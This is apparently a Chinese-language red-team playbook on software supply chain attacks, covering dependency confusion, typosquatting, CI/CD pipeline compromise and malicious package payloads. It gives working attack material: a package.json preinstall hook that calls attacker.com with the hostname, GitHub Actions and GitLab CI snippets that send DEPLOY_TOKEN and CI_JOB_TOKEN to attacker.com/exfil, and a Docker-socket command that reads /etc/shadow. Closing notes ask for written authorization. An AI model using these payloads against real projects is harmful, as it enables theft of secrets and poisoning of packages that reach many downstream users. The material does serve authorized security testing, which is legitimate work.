软件供应链攻击方法论
核心思路:不攻击目标本身,攻击目标信任的上游依赖/构建流程
⛔ 深入参考
- Dependency Confusion 详细利用步骤 → references/dependency-confusion.md
- CI/CD Pipeline 攻击向量 → references/cicd-attack.md
攻击面识别
目标使用什么包管理器? ├─ npm (Node.js) → npmjs.com 检查 ├─ PyPI (Python) → pypi.org 检查 ├─ Maven (Java) → mvnrepository.com 检查 ├─ NuGet (.NET) → nuget.org 检查 ├─ Go modules → proxy.golang.org ├─ RubyGems → rubygems.org └─ 容器镜像 → Docker Hub / 私有 Registry 目标有私有仓库? ├─ 是 → Dependency Confusion 首选 └─ 否 → Typosquatting / 已有包投毒
Phase 1: Dependency Confusion(依赖混淆)
原理
企业内部包: @company/utils (版本 1.0.0, 私有仓库) 攻击者发布: company-utils (版本 99.0.0, 公共 npm) 如果包管理器优先从公共源拉取高版本 → 恶意包被安装
发现私有包名
bash# 1. 从目标网站 JS 中提取包名 curl -s https://target.com | grep -oE "from ['\"]@[a-zA-Z0-9/-]+['\"]" curl -s https://target.com/main.js | grep -oE "require\(['\"][^'\"]+['\"]\)" # 2. 从泄露的 package.json / requirements.txt # GitHub/GitLab 搜索 # 目标开源项目的依赖文件 # 3. DNS 探测(某些私有 npm 使用 DNS CNAME) dig +short _npmrc.target.com # 4. 错误信息泄露 # 404 页面可能暴露内部包名
攻击执行(npm 示例)
json// package.json — 恶意包 { "name": "target-internal-utils", "version": "99.0.0", "scripts": { "preinstall": "curl https://attacker.com/callback?pkg=$npm_package_name&host=$(hostname)" } }
bash# 发布到公共 npm npm publish # 等待目标 CI/CD 在下次构建时拉取
各包管理器差异
| 包管理器 | Confusion 条件 | 防御 |
|---|---|---|
| npm | 无 scope(@) 前缀 + 无 .npmrc 锁定 | 使用 @scope + registry 锁定 |
| pip | 无 --index-url 锁定 + 无 --extra-index-url | 使用 --index-url 唯一源 |
| Maven | 无 mirrorOf 配置 | 使用 repository 白名单 |
| NuGet | 多源配置 + 无版本锁定 | 使用 nuget.config 锁定源 |
Phase 2: Typosquatting(拼写抢注)
bash# 生成目标包的相似名称 # crossenv vs cross-env # electorn vs electron # cofee-script vs coffee-script # Python 实现 python3 -c " import itertools pkg = 'requests' typos = [] # 删除一个字符 for i in range(len(pkg)): typos.append(pkg[:i] + pkg[i+1:]) # 替换相邻字符 for i in range(len(pkg)-1): typos.append(pkg[:i] + pkg[i+1] + pkg[i] + pkg[i+2:]) # 增加常见后缀 typos.extend([pkg+'-python', pkg+'-py', 'python-'+pkg, pkg+'2', pkg+'3']) print('\n'.join(set(typos))) " # 检查哪些名称在公共源上未被注册 # npm: npm view <name> 返回 404 = 可注册 # PyPI: curl -s https://pypi.org/pypi/<name>/json 返回 404 = 可注册
Phase 3: CI/CD Pipeline 攻击
攻击向量
CI/CD 攻击面: ├─ 代码仓库 │ ├─ PR 注入(恶意 PR 修改 CI 配置) │ ├─ Branch Protection 绕过 │ └─ Webhook 劫持 │ ├─ 构建环境 │ ├─ 构建脚本注入(Makefile/Dockerfile/Jenkinsfile) │ ├─ 环境变量窃取(secrets in env) │ ├─ 构建缓存投毒 │ └─ 共享 Runner 逃逸 │ ├─ 制品仓库 │ ├─ 镜像替换(tag 覆盖) │ ├─ 包签名绕过 │ └─ 版本号抢注 │ └─ 部署环节 ├─ 部署密钥窃取 ├─ 配置注入(Helm values/Terraform vars) └─ 运行时环境变量注入
GitHub Actions 攻击示例
yaml# 恶意 PR 中修改 .github/workflows/ci.yml # 或利用 pull_request_target 事件(在 base 上下文执行,可访问 secrets) name: CI on: pull_request_target: # ⛔ 危险:在有 secrets 的上下文执行 jobs: build: runs-on: ubuntu-latest steps: - uses: actions/checkout@v3 with: ref: ${{ github.event.pull_request.head.sha }} # 检出攻击者代码 - run: | # 窃取仓库 secrets curl -X POST https://attacker.com/exfil \ -d "token=${{ secrets.DEPLOY_TOKEN }}"
GitLab CI/CD 攻击
yaml# .gitlab-ci.yml 注入 stages: - build build: stage: build script: # 利用 CI/CD 变量窃取 - "curl https://attacker.com/exfil?key=$CI_JOB_TOKEN" # 或利用共享 Runner 的 Docker socket - docker run -v /:/host alpine cat /host/etc/shadow
Phase 4: 恶意包载荷设计
安装时回调(验证攻击可达性): ├─ npm: scripts.preinstall / postinstall ├─ pip: setup.py install(setup() 执行时) ├─ Maven: maven-exec-plugin in pom.xml └─ Go: init() 函数 ⛔ 合法红队测试中: ├─ 只做 DNS/HTTP 回调确认可达 ├─ 不窃取实际数据 ├─ 不部署持久化 ├─ 包中注明"This is a security test" └─ 及时联系目标安全团队报告
OPSEC 注意事项
供应链攻击的法律风险极高: ├─ ⛔ 未授权的 Dependency Confusion 可能构成犯罪 ├─ ⛔ Typosquatting 公共包影响非目标用户 ├─ ✓ 必须有明确书面授权 ├─ ✓ 回调仅收集最小信息(包名+主机名) ├─ ✓ 包描述中注明安全测试 └─ ✓ 测试后立即撤下恶意包


